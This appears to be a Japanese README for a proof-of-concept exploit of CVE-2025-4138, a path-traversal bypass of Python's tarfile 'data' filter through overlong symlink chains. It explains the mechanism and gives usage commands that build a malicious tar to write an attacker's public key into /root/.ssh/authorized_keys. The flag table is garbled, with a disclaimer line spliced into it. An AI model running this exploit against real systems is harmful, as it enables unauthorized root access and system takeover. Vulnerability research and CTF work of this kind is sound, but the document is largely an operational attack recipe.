
CVE-2025-4138 - Python 展開ディレクトリ外への任意のファイル書き込み
filter="data" バイパスPATH_MAX シンボリックリンクチェーンを介して、抽出ディレクトリ外への任意ファイル書き込み。
報告者: Caleb Brown (Google)
Python の tarfile data フィルタは、os.path.realpath() を使ってシンボリックリンクのターゲットを検証します。解決されたパスが PATH_MAX (Linux では 4096 バイト) を超えると、realpath() は暗黙に解決を停止し、残りのコンポーネント — ../ を含む — をリテラル文字列として追加します。フィルタは安全なパスとして認識しますが、カーネルは実際のパストラバーサルを辿ります。
このエクスプロイトは、4 つのステージで構成される tar ファイルを作成します:
a→ddd...、b→ddd...) 付き。解決されたパスを約 3968 バイトに膨張させます。../ × 16。realpath() がオーバーフローし、解決できません。カーネルは抽出ルートまで戻ります。/ まで上り、ターゲットディレクトリまで下ります。ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| フラグ | 説明 |
|---|---|
-o | tar の出力パス |
-t |
許可されたセキュリティテストおよび CTF 目的でのみ使用してください。
| ターゲットに書き込むファイルの絶対パス |
-p | ペイロードコンテンツとして使用するローカルファイル |
-m | 8進数のファイル権限 (デフォルト: 0644) |